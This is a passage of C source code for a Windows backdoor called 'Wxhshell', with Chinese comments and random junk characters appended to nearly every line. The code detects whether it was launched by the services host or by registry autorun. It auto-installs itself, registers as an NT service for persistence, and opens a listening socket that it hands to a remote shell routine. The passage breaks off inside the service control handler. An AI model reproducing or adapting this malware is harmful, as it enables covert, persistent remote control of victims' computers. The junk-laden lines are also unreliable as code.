ULONG InheritedFromUniqueProcessId; }+`W[ h&u
} PROCESS_BASIC_INFORMATION; d"78w-S
[~)i<V|qJ
PROCNTQSIP NtQueryInformationProcess; =$5[uI2
zY8"\ZB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~MY7Ic%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -"5x? \.{m
o}5:vi]
HANDLE hProcess; dJ`Fvj
PROCESS_BASIC_INFORMATION pbi; $4kc i@.
XKp %7;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Qf21oN{
if(NULL == hInst ) return 0; k>{i_`*
( DwIAO/S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q{f%U.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s<qSelj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :o$ R@l
G*BM'^0+
if (!NtQueryInformationProcess) return 0; e#k9}n^+
<W,k$|w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w;Qo9=-
if(!hProcess) return 0; qce#
q9qmz[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xy$FS0u
SPsq][5eR
CloseHandle(hProcess); sXTt)J
}M/w 0U0o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y{ 90A
if(hProcess==NULL) return 0; o<-%)#e
nvD"_.K rJ
HMODULE hMod; 1L'[DKb'
char procName[255]; ^Gv<Xl
unsigned long cbNeeded; sVkR7
^KsG
%e7{ke}r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iCN@G&rVw
6u7(}K
CloseHandle(hProcess); /+RNPQO O
u7j-uVG
if(strstr(procName,"services")) return 1; // 以服务启动 s~/]nz]"J
aJMh>
return 0; // 注册表启动 qx{.`AaZW
} &7Ixf?e!K
`#fOY$#XB
// 主模块 B\|>i~u(
int StartWxhshell(LPSTR lpCmdLine) v}zo vEi
{ LO.4sO
SOCKET wsl; zx-+u7qKH
BOOL val=TRUE; :G^`LyOM
int port=0; Vu\|KL|
struct sockaddr_in door; R)cns7oW
F.A<e #e?
if(wscfg.ws_autoins) Install(); ^&&dO*0{
g) v"nNS
port=atoi(lpCmdLine); n{BC m %
NG'VlT
if(port<=0) port=wscfg.ws_port; ErESk"2t
EFql
g9bK
WSADATA data; ?xQlX%&`6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 77i |a]Kd
no?)GQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pw>AQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zp4ru\
door.sin_family = AF_INET; U_}$QW0'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 42p6l
door.sin_port = htons(port); ~n[LL)v
#C+Gk4"w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A</[Q>8
closesocket(wsl); %hrv~=
return 1; Qb|w \xT^Y
} $:u,6|QsS=
YfMe69/0I
if(listen(wsl,2) == INVALID_SOCKET) { hQL9 Zl~
closesocket(wsl); EE}NA{b
return 1; }#'KME4
} 8@hzw~>
Wxhshell(wsl); LOnhFX
WSACleanup(); MCh8Q|Yx4
"fpj"lf-
return 0; ]nX.zE|F
>.{
..~"K
} =AD/5E,3
%4 SREq
// 以NT服务方式启动 3]N}k|lb%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _D,8`na>K
{ tB_ V%qH
DWORD status = 0; hsqUiB tc6
DWORD specificError = 0xfffffff; W$'pUhq\H
/kw4":{]
serviceStatus.dwServiceType = SERVICE_WIN32; yN>"r2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MT6kJDyLu
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,o9)ohw
serviceStatus.dwWin32ExitCode = 0; #eUfwd6.Y
serviceStatus.dwServiceSpecificExitCode = 0; ~5!ukGK_
serviceStatus.dwCheckPoint = 0; pK'WJ
72U
serviceStatus.dwWaitHint = 0; EW5S%Y
Z$ftG7;P0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g~B@=R
if (hServiceStatusHandle==0) return; +W;B8^imG
`n5c|`6
status = GetLastError(); E<\\ 'VF
if (status!=NO_ERROR) *<Ddn&_
{ \^#1~Kx
serviceStatus.dwCurrentState = SERVICE_STOPPED; DGd&x^C
serviceStatus.dwCheckPoint = 0; L//sJe
serviceStatus.dwWaitHint = 0; 5ef&Ih.3
serviceStatus.dwWin32ExitCode = status; k oHY
AF
serviceStatus.dwServiceSpecificExitCode = specificError; @\"*Z&]8z0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g u|;C
return; _O!D*=I
} >}4]51s
Q}=RG//0*
serviceStatus.dwCurrentState = SERVICE_RUNNING; rqF PUp
serviceStatus.dwCheckPoint = 0; &\"fH+S
serviceStatus.dwWaitHint = 0; /vPb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gZ+I(o{
} %ly;2HIk
lwY{rWo
// 处理NT服务事件,比如:启动、停止 > T-O3/KN
VOID WINAPI NTServiceHandler(DWORD fdwControl) j}VOr >xz
{ <khx%<)P
switch(fdwControl) vlPE8U=
{ J,D{dYLDD
case SERVICE_CONTROL_STOP: &